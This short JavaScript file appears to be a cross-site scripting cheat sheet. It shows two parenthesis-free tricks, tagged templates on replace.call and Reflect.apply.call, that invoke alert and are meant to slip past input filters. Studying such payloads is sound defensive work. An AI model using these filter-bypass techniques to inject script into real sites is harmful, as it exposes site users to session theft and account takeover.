// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.